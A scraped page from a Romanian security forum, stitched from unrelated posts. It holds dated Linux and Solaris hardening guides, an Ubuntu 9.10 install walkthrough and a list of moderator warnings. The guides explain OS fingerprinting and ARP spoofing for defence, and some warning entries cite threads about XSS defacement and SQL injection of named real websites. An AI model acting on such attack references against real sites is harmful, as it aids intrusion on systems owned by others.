hashes instead of the crypt(3) function. This makes the encrypted password file far more difficult to crack. This is done by modifying the PAM modules. PAM (Pluggable Authentication Modules) is a suite of shared libraries that enable you to choose how applications authenticate users. To learn more about PAM, check out ftp://ftp.us.kernel.org/pub/linux/libs/pam/Linux-PAM-html/pam.html. In the old days, you had to manually modify the PAM modules to use MD5 hashes. However, with Red Hat 6.0 or greater, you can select MD5 hashes with the setup utility. Just type "setup" at the command prompt, then select "authentication configuration". From there, you can choose to use MD5 hashes. However, the MD5 hashes will not take effect until the user re-enters their password. For those of you who do not have the setup utility (or have Red Hat 5.2 or earlier), you can still modify the PAM modules manually (example G). For us bash users, I'm not a big fan of the .bash_history file. I do not want people (including root) to know my command history. So, in my .bash_profile, I export the following entry: HISTFILESIZE=0 This means that nothing will be logged to my .bash_history file. I will still have keystroke history and recall, the HISTSIZE env variable, but command history will not be written to the .bash_history file. Last thing we can do is protect our system from physical access. This mainly consists of setting up a password for our BIOS. Also, you can password protect your system during boot-up by configuring /etc/lilo.conf with a password (password=xxx) where xxx is your password. However, keep in mind, once someone has physical access to your system, there is no guaranteed way to protect it. IPChains No discussion about Linux security would be complete without covering IPChains. IPChains is packet filtering software that comes with the 2.2.x kernel and above. This means if you are running Red Hat 6.0 or later, you have it as part of your Linux installation kit. IPChains is similar to Cisco Access Control Lists, it can control what packets can come in and out of your Linux box. Primarly used as a firewall application, IPChains can also be used to armor your standalone Linux box. To armor a standalone system, I configure IPChains to allow only TCP connections I initiate. If anyone attempts to initate any TCP connections to me, the connection is denied. Since IPChains is not stateful, I do allow all UDP and ICMP connections. Last, I log all denied connections, this lets me know if someone out there is being naughty However, I drop but do not log all the broadcat/multicast traffic, as this would quickly fill up the system logs. A simple IPChains configuration to armor a standalone system would look something like this. bash# ipchains -L Chain input (policy DENY): target prot opt source destination ports DENY all ------ 0.0.0.0 anywhere n/a DENY all ------ anywhere 255.255.255.255 n/a DENY all ------ anywhere BASE-ADDRESS.MCAST.NET/8 n/a ACCEPT tcp !y---- anywhere anywhere any -> any ACCEPT udp ----l- anywhere anywhere any -> any ACCEPT icmp ----l- anywhere anywhere any -> any DENY all ----l- anywhere anywhere n/a Chain forward (policy ACCEPT): Chain output (policy ACCEPT): To see the config files for this, see example H. To learn more about using IPChains as a firewall or for a standalone system, check out the IPChains HOWTO. Conclusion We have covered some of the more basic steps involved in armoring a Linux box (Red Hat distribution). The key to a secure system is having the minimal software installed, with protection in layers, such as TCP Wrappers, IPChains, and shadowed passwords. There are many additional steps that can be taken, such as tripwire (monitor changes in system binaries) and swatch (automated log monitoring and alerts). I also recommend that new Linux users check out Bastille Linux, a PERL script that can automatically secure your new Linux system, step by step. Remember, no system is truly 100% secure. However, with the steps outlined above, you greatly reduce the security risks.

Not so good as Solaris Security FAQ, but this article has some interesting things. Author: Ido Dubrawsky Activity on the Net has grown phenomenally over the past several years. More and more companies and individuals are connecting to the Internet every day. Today, it is essential for any company to have some sort of presence on the Net. Whether it be a Web page or simply an email server, this presence could mean the difference between success and failure. Given that fact, more and more companies are setting up some sort of server to provide an Internet presence for themselves. These servers, however, are sometimes not installed with security in mind, thereby becoming tempting targets for system crackers. As evidenced recently with a sudden surge of distributed denial of service attacks (or DDOS), system crackers are finding these machines and using them for setting up their DDOS clients. Web sites, especially highly visible ones, are choice targets of attacks whether for profit or just plain vandalism. The tools for identifying machines have certainly improved. One of the most well-known tools for scanning a network, NMAP, is well written, easy to use, and (for anyone who has root access to a box) provides a great deal of information about a potential target. The best way to reduce the possibility of attack on a system is to provide the least amount of information about it. An attacker knowing that a system was running Solaris 2.6 or Solaris 7 back in December of 1999 might also know that rpc.sadmind could be running and is exploitable. By reducing the amount of information that can be gathered about a system, a systems administrator can reduce the likelihood of a successful attack. This article describes simple changes that can be made to make a Solaris system a harder target. While the techniques described here do not guarantee that an attacker will not find a way in, they do increase the difficulty for a successful attack. TCP Wrapper One of the first things to do after installing a Solaris, or any other UNIX, operating system, is to install Wietse Venema's TCP Wrapper. TCP Wrapper provides a measure of host-based access control. While not providing a great deal of extra security to a system, it provides better logging as well as some other customizable features such as reverse fingering of an unauthorized access attempt, or the displaying of banners in case of a failed access attempt. Take care when configuring some of the TCP wrapper capabilities. For example, using the reverse finger configuration, if the system also has TCP wrappers and is configured to perform a reverse finger, may cause the two systems to get into a loop that will eventually bog both systems down. Although a discussion of configuring and installing TCP Wrapper is beyond the scope of this article, the software is very much worth having and can be found at: ftp://ftp.porcupine.org:/pub/security/tcp_wrappers_7.6.tar.gz. RPCbind Remote Procedure Call (RPC) services are used in many network services including NIS, NIS+, NFS, Kerberos, sadmind, and others. Software utilizing RPC uses the rpcbind program to convert RPC program numbers into universal addresses. When a client makes an RPC call to a server, the client first contacts the rpcbind program to find out the address on which the server software is listening. Solaris has many daemons and services that utilize RPC. These include: sadmind • rquotad • rusersd • rsprayd • rwalld • rstatd • rexd • ufsd • kcms_server • rpc.cmsd • gssd • rpc.ttdbserverd • rpc.bootparamd cachefsd All of the above services, except for rpc.bootparamd, are started from inetd.conf. rpc.bootparamd is started from /etc/rc3.d/S15nfs.server and is only necessary if the system is also a boot server. Unless specifically required, the above services can all be commented out of inetd.conf to disable them. A further step to take regarding rpcbind is to replace the stock Solaris rpcbind program with Wietse Venema's rpcbind 2.1 program. Venema's version is designed to be a drop-in replacement for the stock Solaris rpcbind. This new rpcbind is based on the transport-independent RPC source distribution from Sun. The replacement rpcbind program provides for host access control similiar to that provided by TCP Wrapper. Furthermore, all requests that are forwarded by the rpcbind process are done through an unprivileged port, and all remote requests sent to high-numbered UDP ports are rejected. Unlike TCP Wrapper, the host access control code looks only at the IP address of the source. Overall, rpcbind 2.1 provides another layer of protection beyond the stock Solaris system. Wietse Venema's rpcbind 2.1 program can be found at: ftp.porcupine.org//pub/security/rpcbind Reducing Solaris' Footprint The first thing to do when reducing the footprint of a Solaris box is to remove any and all "announcements" sent out to the world. What are these announcements? When someone telnets to a box running Solaris, they are greeted with the response: $ telnet 10.16.17.205 Trying 10.16.17.205... Connected to 10.16.17.205. Escape character is '^]'. SunOS 5.7 login: This is a simple, quick, and effective way to find out what OS is running on that system. (The fact that telnet access should be restricted using either TCP Wrapper or replaced entirely with Secure Shell is another story.) To close this information leak, the file /etc/default/telnetd should be created with the following line in it: BANNER="" This effectively eliminates the SunOS 5.7 banner from telnet. $ telnet 10.16.17.205 Trying 10.16.17.205... Connected to 10.16.17.205. Escape character is '^]'. login: Similarly, in the file /etc/default/ftpd, the same BANNER="" command removes the SunOS 5.7 id tag from the ftpd prompt: $ ftp -i 10.16.17.205 Connected to 10.16.17.205. 220 nostromo FTP server () ready. Name (10.16.17.205:ido): If the system is running with a default installation of Solaris, Sendmail is running in daemon mode. This is another source of information that can easily be plugged with a little effort. If the machine is not a mail server, then there is no need to run Sendmail at all. (Another option is to have Sendmail run periodically out of cron to process the mail queue, or Sendmail can be set to run in non-daemon mode by removing the -bd flag from /etc/init.d/sendmail.) If the system needs to have Sendmail running in daemon mode and if it is not configured properly, then it is providing a potential attacker with vital information. By telneting to port 25, the attacker is greeted with the following information: $ telnet 10.16.17.205 25 Trying 10.16.17.205... Connected to 10.16.17.205. Escape character is '^]'. 220 nostromo.dubrawsky.org ESMTP Sendmail 8.9.1b+Sun/8.9.1; Fri, 18 Feb 2000 06:13:09 -0600 (CST) Not good. Not only does the attacker now know the name of the machine, but he or she also knows that it is running the stock Sendmail provided by Sun with Solaris 7. To eliminate this greeting, edit change the value of SmtpGreetingMessage in the sendmail.cf file (found in /etc under Solaris 2.6 and in /etc/mail in Solaris 7 and Solaris : # SMTP initial login message (old $e macro) #O SmtpGreetingMessage=$j Sendmail $v/$Z; $b O SmtpGreetingMessage= The Sendmail greeting is now: $ telnet 10.16.17.205 25 Trying 10.16.17.205... Connected to 10.16.17.205. Escape character is '^]'. 220 ESMTP inetdThe next step is to eliminate unsecure or unnecessary services from operation. The first place to start is /etc/inet/inetd.conf. This file contains the configuration for inetd, a system process that listens for incoming connections and then starts the requested service. Most of what is in inetd.conf comes from the days when the Internet was smaller and system break-ins less frequent. To prevent inetd from starting a service, the line in the configuration file for that service can either be commented out or deleted entirely. To provide a measure of logging, inetd's startup line in /etc/init.d/inetsvc should have the -t flag added as shown below: /usr/sbin/inetd -s -t &The -t flag causes inetd to trace incoming connections for TCP services. UDP services cannot be traced. The information is logging using the syslog facility level of daemon.notice. By default, this information would be logged to /var/adm/messages. If the system is running Secure Shell, then the r-* programs (e.g., rsh, rlogin, rexec, etc.) should be disabled. Listing 1 provides a list of services that should be removed from inetd.conf (excluding telnet and ftp). Unless an application is installed that requires the services of one of these inetd clients, it is best to disable them completely by either commenting them out of inetd.conf or deleting them and then sending the SIGNUP signal to the inetd process so that it will re-read its configuration file. telnet and ftp should also be disabled and replaced with secure shell even if the system is behind a firewall. All too often, the source of system compromise is not the hacker on the outside, but the hacker on the inside! Improving Solaris TCP Stack Strength Once unnecessary services have been disabled, the next step in hardening the Solaris host against attackers is to prevent them from using common scanning tools such as nmap to detect the operating system type. Generally, this is done by tweaking Solaris's TCP/IP stack so that nmap cannot identify it through TCP fingerprinting. Several kernel variables affect the ability of a scan's success. Consider a vanilla Solaris box, that has already been installed, but has had no changes made to the kernel parameters governing the network services. A sample scan of such a system is provided in Listing 2. The services that nmap identifies can be removed either by shutting off the service entirely (as in the case of X11) or removing the service from /etc/inet/inetd.conf. The information to focus on is the "TCP Sequence Prediction" and "Remote OS Guesses" that nmap provides. By identifying the target operating system, an attacker can narrow potential exploits. In the case of the system shown here, sadmind might be a good starting place to try an attack. An attacker might also wonder whether the secure shell daemon, sshd, was compiled with the rsaref2 library, recently shown to be vulnerable to a buffer overflow. Nmap classified the TCP Sequence Prediction for the example host as "random positive increments" with a difficulty on the order of 105 (i.e., a worthy challenge). If the attacker knows Solaris well enough, this tells them the host has a setting of TCP_STRONG_ISS=1 (as found in /etc/default/inetinit). This host may be susceptible to a TCP sequence attack, especially since it permits rsh. Fortunately, by tuning TCP/IP kernel parameters, OS fingerprinting can be made much more difficult. Solaris Kernel Tuning Solaris 2.5.1 and above provides for the ability to change certain kernel tuning parameters through the use of the program /usr/sbin/ndd. ndd gets and sets selected configuration parameters in kernel drivers that implement the TCP/IP protocol family. Changes made by ndd can be made at any time while the system is running. However, these changes do not survive across a system reboot and must be applied every time the system reboots in order to be permanent. One of the main problems of using ndd and writing scripts that depend on it is that the kernel parameters are not readily available from Sun's documentation. Also, these kernel parameters may change without notice from one version of Solaris to another. For that reason, it is important to proceed with caution. Changing some of these parameters may cause problems; however, the parameters discussed in this article have been altered in systems installed in a production environment and do not appear to cause any harm. Furthermore, the parameter names that are discussed here and that are adjusted by the included program, secureip, have not changed in the Solaris operating systems versions 2.5.1, 2.6, and 7. The following sections describe some possible kernel tuning options. You must decide whether these options are appropriate for your environment. TCP/IP Fingerprints Before discussing changes to the default Solaris TCP/IP stack parameters, I will discuss how TCP fingerprinting works as it relates to nmap. nmap and other scanning tools rely on certain unique elements in a TCP/IP stack to identify the operating system. nmap is good enough that it can reliably distinguish between a host running Solaris 2.4 vs. Solaris 2.5-2.51, and Solaris 2.6. The program does this with several techniques: 1. FIN probe -- A FIN packet is sent to an open port, and the response is evaluated. The correct response, defined by RFC 793, is not to respond at all. However, many stack implementations do not adhere to this and return an RST response. 2. TCP Initial Sequence Number (ISN) -- Determining the TCP ISN is crucial if an attacker wants to hijack a session with the target host. ISN generation can be broken down into three categories: 64-K increments, random increments, and truly random increments (RFC 1948 compliant). By default, Solaris installs using "random increments". Given sufficient time, an attacker can collate enough data to guess at the next ISN number that the system will use. 3. Don't Fragment (DF) bit -- Solaris sets this bit by default, regardless of whether it is needed. 4. TCP initial window -- Some operating systems, Solaris included, return a constant window size. 5. TCP Options -- These generally provide the most information. Since they are optional, not all hosts support them, however, if they do, then the host may echo back the options in the response. If the options are echoed back, the values set in the response can be used to identify the operating system. With the above information, it is possible to change some of Solaris's default TCP/IP stack settings, without harming performance and gaining the benefit of hiding the operating system identity from such tools. The first of these settings to consider is the TCP Maximum Segment Size (MSS). TCP MSS is used to set the largest amount of data that TCP will send to the receiving side. Whenever a connection is about to be established, the segment size used is set to the MTU of an outgoing interface or to the MSS announced by the peer. Each side announces its MSS and, if one end does not receive the other side's MSS option, it uses a default of 536. Both nmap and queso exploit this fact. The best solution is to change the default MSS value. Generally, the larger the MSS the better, until fragmentation occurs. To change the default MSS on Solaris: # ndd -set /dev/tcp tcp_mss_def 546 Another parameter that can leak out information is the path MTU discovery. If path MTU discovery is turned on, then all outgoing IP packets have the "Don't Fragment" bit set in the IP header. To turn this characteristic off: # ndd -set /dev/ip ip_path_mtu_discovery 0 It is not necessary to turn off the path MTU discovery. RFC 1191 recommends that the path MTU discovery occur approximately every 10 minutes. Solaris, however, does so every 30 seconds. To change this behavior: # ndd -set /dev/ip ip_ire_pathmtu_interval <time> where <time> is the number of milliseconds desired between path MTU discovery attempts. 300000 milliseconds is 5 minutes. To decrease the possibility of a TCP sequence attack (i.e., TCP hijacking), the kernel value tcp_strong_iss needs to be set to 2. This can be done either through ndd directly or by changing the value of TCP_STRONG_ISS in /etc/default/inetinit to 2. Doing so causes the TCP Initial Sequence Number generation by the kernel to be a random number rather than a predictable value. ARP and ARP attacks The Address Resolution Protocol (ARP) is used to map 32-bit IP addresses to Ethernet (or hardware addresses). Every network interface in a host has a unique hardware address. Sun SPARC systems have the capability to assign a single Ethernet address to all network interfaces. This capability is achieved by having the network interface acquire its address from the PROM. ARP works by sending out an address request, usually to a subnet broadcast address, and then collecting the responses to dynamically create an Ethernet-to-IP address map. The ARP packet contains the IP address of the desired host. The response to the ARP packet, the ARP reply, contains the IP address of the desired host as well as its Ethernet address. This reply is then stored in one of two tables in the Solaris kernel: the ARP cache, maintained by the data-link layer, and a host address mapping table maintained by the network layer. When resolving hardware addresses, the ARP cache is queried first by the network layer. If the information is not available in the ARP cache, then an ARP request is broadcast. There are two types of attacks possible with ARP: denial of service [DOS] and spoofing. A DOS attack prevents one system from exchanging packets with another on the same network, whereas spoofing allows one system to masquerade as another. Both of these attacks make use of ARP's dynamic nature. ARP information may be inserted by an attacker into the ARP cache either locally, through a root compromise, or by feeding invalid replies to a system making ARP requests. Since there is no authentication at this layer, all information provided to the ARP reply is inserted into the ARP cache. This type of attack is known as ARP cache poisoning. The spoofing attack is similiar to an IP spoofing attack and relies on the "trusted host" model of security. In this case, the attacker disables the peer of the victim host, host B, and uses IP spoofing to insert the attacker's Ethernet address into host A's ARP cache, by having his system masquerade as trusted host B. Countering such an attack requires one of two procedures: 1) disable ARP resolution on host A and use only static ARP entries, or 2) flush the ARP cache as well as the IP address map often. The first option is manageable only in a small environment. Option 2 then becomes the most reasonable way to counter ARP cache poisoning. ndd can be used to change the ARP cache flush interval, as well as the IP routing table flush interval, as follows: # ndd -set /dev/arp arp_cleanup_interval <time> # ndd -set /dev/ip ip_ire_cleanup_interval <time> In this example, <time> is the interval specified in milliseconds. Although this will not eliminate these types of attacks, it may slow the attacker down. Securing IP IP is the protocol that provides connectionless and unreliable delivery of data from one machine to another. Solaris provides many kernel parameters that can be adjusted to provide a more secure system. The default Solaris installation permits IP forwarding whether the system has two or more interfaces or not. The following command can be used to disable this feature while the system is running: # ndd -set /dev/ip ip_forwarding 0 To ensure that forwarding upon subsequent reboot is disabled, this command may be used in a initialization script, or the file /etc/notrouter must exist. Another problem with multihomed systems is that an attacker may try to spoof packets coming in from one interface so that they appear to have originated from a different interface. If the system is multihomed and non-forwarding, the attacker may try to send packets to an interface with a destination address in a network attached to a different interface. The following command prevents this problem by requiring all packets entering an interface to have originated from a network attached to that interface: # ndd -set /dev/ip ip_strict_dst_multihoming 1 Solaris has many more TCP/IP stack parameters that can be configured to provide more security. Many of these parameters are covered in the included secureip shell program. ipfilter Although reducing the possibility that an attacker can use a TCP stack fingerprint to identify the operating system is a step in the right direction, another option to use is the freely available packer filter program ipfilter. ipfilter runs on Solaris 2.5.1, 2.6, 7, and 8. There is even a 64-bit version of ipfilter for those systems installed with 64-bit Solaris. Compiling ipfilter for Solaris is easy, and it installs as a Solaris package. To compile and install ipfilter: #cd ip_fil3.4.3 #make solaris #make package Configuring ipfilter is fairly straightforward and has been covered in Michael Lucas' article "FreeBSD Firewall Tools and Techniques" in the June issue of Sys Admin. A sample ipfilter configuration file is provided in Listing 3. In this configuration, the machine is providing inbound secure shell services as well as a secure Web server. Allowed UDP traffic includes syslog messages as well as SNMP traps, and SNMP information from external devices. The only ICMP traffic permitted is echo-reply, destination-unreachable, and ttl-exceeded. This configuration provides a simple starting framework when using ipfilter to protect a Solaris host. PortSentry Another useful tool to use with ipfilter (or on its own) is PortSentry. This program monitors probes to a defined subset of ports on a system. If enough probes occur to trigger a response, PortSentry blocks the source of the portscan by installing a static route into the system routing table, which sends all future packets from that source to a routing "dead end". If used in conjunction with ipfilter, PortSentry can add a blocking rule to the ipfilter ruleset. PortSentry is configurable to the extent that it can be made to work with various firewall systems including Gauntlet and Checkpoint. For PortSentry to work with ipfilter, a shell program is needed to add the new deny rule to the ruleset in the proper place. The source to the shell program is given in Listing 4. PortSentry can be downloaded from: We’re sorry this page is no longer available Logs An aspect to consider when securing a system is the logs produced by syslog. Unfortunately, by default Solaris tends to lump many things into /var/adm/messages and /var/log/syslog -- so much so that it becomes difficult, if not impossible, to easily determine what is going on in a system. The first step is to separate much of the information that is logged through syslog. One way to achieve this goal is to reconfigure syslog to log messages to separate files based on syslog facility. All kernel messages would be written to a logfile called /var/log/kernel.log; all daemon messages would be written to a file called /var/log/daemon.log, etc. Furthermore, when installing sudo or tcpd, the LOCAL[0-7] facilities can be used to categorize the logs from those programs as well. A simple, improved syslog.conf might look something like Listing 5. By breaking up the logging information as much as possible, it becomes easier to discover potential problems sooner. However, even by breaking up the logs this way, the amount of information to be processed is still very great. To ease the management of the log system, the program Logcheck can be used. Logcheck parses through a user-defined set of system logs and maintains an accounting of where it last read the logs. This way, after the initial run, the systems administrator only gets a "differential" report since the last time the logs were inspected. Logcheck can be configured to ignore key phrases in a file so that certain messages are ignored. Also, it can be set to focus on various phrases such as expn or vrfy in logs from Sendmail. The main benefit of Logcheck is that it provides the systems administrator with differential reports from the various logfiles rather than long streams of log data. This makes it easier to identify a potential problem. Logcheck can be downloaded from: We’re sorry this page is no longer available Conclusion Every operating system has some unique parameters that can be used by a scanning tool, such as nmap or queso, to identify the operating system. By changing these parameters, it becomes harder for an attacker to use such scanners to identify potential targets. Furthermore, simple steps, such as removing the identity "tags" from telnetd, ftpd, and Sendmail, help reduce the amount of information provided. Without knowledge of what type of operating system is running on a target, an attacker may be less willing to try to break in and may move on to easier targets. While the solutions covered in this article are by no means exhaustive, they do provide a good starting point for securing Solaris Systems. References Noordergraaf, Alex and Keith Watson, "Solaris Operating Environment Security", Sun Blueprints. Noordergraaf, Alex and Keith Watson, "Solaris Operating Environment Network Settings for Security Security", Sun Blueprints On-Line, December 1999. Noordergraaf, Alex and Keith Watson, "Solaris Operating Environment Minimization for Security: A Simple, Reproducible and Secure Applicable Installation", Sun Blueprints. "Creating Login Banners", CIAC Information Bulletin J-043f, June 19, 1999. Spoon, Kelly, "What You Can do with tcpd", Linux Gazette, Issue 15, March 1997. IdoDubrawsky has been working with various UNIX systems since 1992, including SunOS, Solaris, HP-UX, AIX, Linux, OpenBSD, and Ultrix. He currently works as the team lead of UNIX and Network Systems at Globeset, Inc. When not working on UNIX systems, switches, or routers, he spends his spare time with his wife and 3-year-old son. He can be contacted at: ido@globeset.com.

Salut, ti-am scos avatarul, era prea mare. Bine ai venit.

Cand vine vorba de RST, nu am familie. Daca mama ar face offtopic pe forum, i-as da warn, desigur. PS: Glumeam. ( Am spus asta ca sa se prinda toti, unii se prind mai greu ).

Installing Ubuntu 9.10 Step-by-step installation tutorial with screenshots By Marius Nestor, Linux Editor 6th of November 2009, 17:38 GMT Ubuntu 9.10, also known as the Karmic Koala, arrived exactly on October 29, 2009 and is the eleventh release of Ubuntu OS. We've created the following tutorial to teach Linux newcomers how to install the Ubuntu 9.10 operating system on their personal computer. Therefore, it is addressed to people who have just heard about Ubuntu, those who have never installed Ubuntu before and want to test it, but don't know how. The tutorial will make things very simple for you, but if you get stuck somewhere in the middle of the installation and you need help, do not hesitate to use our commenting system at the end of the article! Requirements: You will need the Ubuntu 9.10 Desktop ISO image that corresponds to your hardware architecture (i386 or amd64), and which can be downloaded from here. When the download is over, burn the ISO image with your favorite CD/DVD burning application (Nero, CDBurnerXP, Roxio) on a blank CD at 8x speed. Reinsert or leave the CD in your CD/DVD-ROM device and reboot the computer in order to boot from the CD. Hit the F8, F11 or F12 key (depending on your BIOS) to select the CD/DVD-ROM as the boot device. Select your language when asked... Select the second option "Install Ubuntu," and hit the "Enter" key... Wait for the CD to load into RAM... You will see the wallpaper for a few seconds. When the installer appears, you will be able to select your native language for the entire installation process. Click the "Forward" button to continue... Where are you? The second screen will feature a map of the Earth. Upon the selection of your current location, the time for the final system will adjust accordingly. You can also select your current location from the drop down list situated at the bottom of the window. Click the "Forward" button after you have selected your desired location... Test your keyboard On the third screen, you will be able to choose a desired keyboard layout. But the default automatic selection should work for most of you. Click the "Forward" button when you have finished with the keyboard configuration... Hard disk partitioning You have four options here: 1. If you have another operating system (e.g. Windows XP) and you want a dual boot system, select the first option: "Install them side by side, choosing between them at each startup." Editor's Note: This option will ONLY appear if you have another operating system installed, such as Microsoft Windows. Remember that, after the installation, the Windows boot loader will be overwritten by the Ubuntu boot loader! 2. If you want to delete your existing operating system, or the hard drive is already empty and you want to let the installer automatically partition the hard drive for you, select the second option, "Use the entire disk." Editor's Note: This option is recommended for most users who do not have another operating system installed or who want to erase an existing one, for example Windows OS. 3. The third choice is "Use the largest continuous free space" and it will install Ubuntu 9.10 in the unpartitioned space on the selected hard drive. 4. The fourth choice is "Specify partitions manually" and it is recommended ONLY for advanced users, to create special partitions or format the hard drive with other filesystems than the default one. But it can also be used to create a /home partition, which is very useful in case of reinstalling the whole system. Here's how you do a manual partitioning with /home: - Select the "Specify partitions manually (advanced) and click the "Forward" button; - Make sure that the selected hard drive is the right one. /dev/sda is the first physical hard drive. /dev/sdb is the second hard drive in your machine. So, make sure that you know which is the one you want to format! Otherwise, you will lose ALL YOUR DATA on that hard drive; - Let's say that the selected drive is empty (no other operating system or important data on it), but it has some partitions on it. Select each one of those partitions and click the "Delete" button. After a few seconds, it will say "free space". Do this with the other partitions from the selected hard drive, until they're all deleted and you have a single "free space" line; - With the "free space" line selected, click on the "Add" button. In the new window, type 2000 in the "New partition size in megabytes" field and select the "swap area" option from the "Use as:" drop down list. Click the OK button and, in a few seconds, you'll notice a "swap" line with the specified size; - With the "free space" line selected, click on the "Add" button. In the new window, select the "Primary" option, type a value between 10,000 and 50,000 in the "New partition size in megabytes" field and select / as the "Mount point". Click the OK button and in a few seconds, you'll notice an "ext4 /" line with the specified size; - With the "free space" line selected, click on the "Add" button. In the new window, select the "Primary" option, type a value between 30,000 and 50,000 (or whatever space you have left on the drive) in the "New partition size in megabytes" field and select /home as the "Mount point." Click the OK button and, in a few seconds, you'll notice an "ext4 /home" line with the specified size. This is how your partition table should look like. If so, click the "Forward" button to continue with the installation... WARNING: Be aware that all the data on the selected hard drive or partition will be ERASED and IRRECOVERABLE. Click the "Forward" button to continue with the installation... Who are you? On this screen, you must do exactly what the title says. Fill in the fields with your real name, the name you want to use to log in on your Ubuntu OS (also known as the "username," which will be required to log in to the system), the password and the name of the computer (automatically generated, but can be overwritten). Also at this step, there's an option called "Log in automatically." If you check the box on this option, you will automatically be logged in to the Ubuntu desktop. Click the "Forward" button to continue... Are you really ready for Ubuntu? This is the final step of the installation. Here, you can select to install the boot loader on another partition or hard drive than the default one, but it is only recommended for advanced users. If someone is installing to a USB memory stick, as if it was a USB hard drive, then they should know that the installer will mess with their computer's hard disk drive MBR (thanks to Donald for the info on this one!). Therefore, click the "Advanced" button and select the correct drive (the USB stick in this case)... Click the "Install" button to start the installation process... The Ubuntu 9.10 (Karmic Koala) operating system will be installed... After approximately 10 to 18 minutes (depending on your computer's specs), a pop-up window will appear, notifying you that the installation is complete, and you'll need to restart the computer in order to use the newly installed Ubuntu operating system. Click the "Restart Now" button... The CD will be ejected; remove it and press the "Enter" key to reboot. The computer will be restarted and, in a few seconds, you will see the Ubuntu boot splash and Xsplash... At the login screen, click on your username and input your password. Click Log In or hit Enter... Have fun using Ubuntu 9.10!

Inna - Amazing . Nu numai Salam. Place Inna la mine.

Incep o noua lista, cea de deasupra s-a cam umplut. User : lamisto Nr. warn : 1 Topic : http://rstcenter.com/forum/17915-teztour-ro-semi-deface-xss.rst Post : "nu esti newbie ma , esti 1337 " Motiv : Offtopic. User : 1337 Nr. warn : 1 Topic : http://rstcenter.com/forum/17915-teztour-ro-semi-deface-xss.rst Post : "=))) " Motiv : Offtopic. User : benny_loppa Nr. warn : 1 Topic : http://rstcenter.com/forum/17915-teztour-ro-semi-deface-xss.rst Post : "1337, mda, daca si asta e deface iti tai pl" Motiv : Injurii. User : dRuNNNk Nr. warn : 3 ( Ban permanent ) Topic : http://rstcenter.com/forum/17915-teztour-ro-semi-deface-xss.rst Post : "=)) =)) " Motiv : Offtopic. User : 1337 Nr. warn : 2 Topic : http://rstcenter.com/forum/17915-teztour-ro-semi-deface-xss.rst Post : "Taimi-o daca poti ^^ " Motiv : Offtopic. User : benny_loppa Nr. warn : 2 Topic : http://rstcenter.com/forum/17911-xss-defacement.rst Post : "ce MORTII MASI E ASA DE GREU" Motiv : Limbaj inadecvat. User : DeDu Nr. warn : 1 Topic : http://rstcenter.com/forum/2996-assembly-hijacking-un-super-tutorial-despre-sql-injection-tr.rst Post : "ReUpload Plz " Motiv : "Inviat" topic vechi. User : qbert Nr. warn : 1 Topic : http://rstcenter.com/forum/17923-http-www-hack-test-com.rst Post : "prea multi 1337 pe aici " Motiv : Offtopic. User : Flubber Nr. warn : 2 Topic : http://rstcenter.com/forum/17978-py-script-helps-please.rst Post : "esti idiot?" Motiv : Injurii. User : Gwci Nr. warn : 1 Topic : http://rstcenter.com/forum/18029-ajutor-baza-de-date.rst Post : "Unde-s alea 10 posturi pt a putea face o cerere?" Motiv : Offtopic. User : eNNiLLI Nr. warn : 1 Topic : http://rstcenter.com/forum/17984-erori-internet.rst Post : "ma ajuta cineva va rog ? " Motiv : Post dublu. User : immun3 Nr. warn : 1 Topic : http://rstcenter.com/forum/18048-eroare-steam.rst Post : "C:\DOCUME~1\hitman\LOCALS~1\Temp\..." Motiv : Post dublu. User : SympleBoy22 Nr. warn : 2 Topic : http://rstcenter.com/forum/18060-shopix-ro-magazin-online.rst Post : "In semnatura scrie FAKE 1337.Tu esti autentic. " Motiv : Offtopic. User : SympleBoy22 Nr. warn : 2 Topic : http://rstcenter.com/forum/18060-shopix-ro-magazin-online.rst Post : "In semnatura scrie FAKE 1337.Tu esti autentic." Motiv : Offtopic. User : Kabron Nr. warn : 4 ( Ban permanent ) Topic : http://rstcenter.com/forum/18025-vrei-sa-fii-admin-fara-nici-o-parola.rst Post : "wow,inteligent baiat xD ( sper ca intelegi ...) " Motiv : Offtopic. User : nosferatu Nr. warn : 5 ( Ban permanent ) Topic : http://rstcenter.com/forum/18025-vrei-sa-fii-admin-fara-nici-o-parola.rst Post : "Bine ca iti permiti sa ironizezi lumea, fara sa iei ban " Motiv : Offtopic. User : GaByoo7 Nr. warn : 1 Topic : http://rstcenter.com/forum/11349-rst-chat.rst Post : "S-a imbolnavit" Motiv : Offtopic. User : SympleBoy22 Nr. warn : 3 ( Ban permanent ) Topic : http://rstcenter.com/forum/11349-rst-chat.rst Post : "Ce dracu mai postati ma aici" Motiv : Offtopic. User : Zolder Nr. warn : 1 Topic : http://rstcenter.com/forum/11349-rst-chat.rst Post : "Ma scuzati si pe mine pentru offtopic " Motiv : Offtopic. User : p3tru Nr. warn : 1 Topic : http://rstcenter.com/forum/18075-putin-ajutor-please.rst Post : "careva un mic raspuns plz... " Motiv : Post dublu. User : sosetutza Nr. warn : 1 Topic : http://rstcenter.com/forum/18096-decriptare-parola.rst Post : "Unde sunt cele 10 posturi?" Motiv : Offtopic. User : Tazor Nr. warn : 1 Topic : http://rstcenter.com/forum/18121-http-cstoolz-info.rst Post : "Xenon, mars in mm de copil sarac. " Motiv : Injurii. User : Gwci Nr. warn : 2 Topic : http://rstcenter.com/forum/18121-http-cstoolz-info.rst Post : "si totusi cei cu atata off topic? " Motiv : Offtopic. User : betamaster Nr. warn : 1 Topic : http://rstcenter.com/forum/18121-http-cstoolz-info.rst Post : "dar vad ca dai cu gura ca prostul " Motiv : Injurii. User : benny_loppa Nr. warn : 3 ( Ban ) Topic : http://rstcenter.com/forum/18121-http-cstoolz-info.rst Post : "offtopic:wtf e cu semnatura ta" Motiv : Offtopic. User : M4T3! Nr. warn : 1 Topic : http://rstcenter.com/forum/18121-http-cstoolz-info.rst Post : "=)) ))))" Motiv : Offtopic. User : Marian Nr. warn : 1 Topic : http://rstcenter.com/forum/18121-http-cstoolz-info.rst Post : "Scz pt off..." Motiv : Offtopic. User : RoMeO Nr. warn : 1 Topic : http://rstcenter.com/forum/18166-sqli-http-www-gamebot-gr.rst Post : "Esti cumva ratat! :|" Motiv : Injurii. User : Crisis Nr. warn : 1 Topic : http://rstcenter.com/forum/18166-sqli-http-www-gamebot-gr.rst Post : "Este ratat , adica ii trebe ochelari." Motiv : Injurii. User : ActionBoy Nr. warn : 1 Topic : http://rstcenter.com/forum/1081-yahoo-messenger-file-transfer-extension-spoof.rst Post : "mai verifica inca o data. " Motiv : "Inviat" topic vechi. User : ActionBoy Nr. warn : 2 Topic : http://rstcenter.com/forum/5039-wep-wap-wireless-cracking-tool-needed.rst Post : "cain 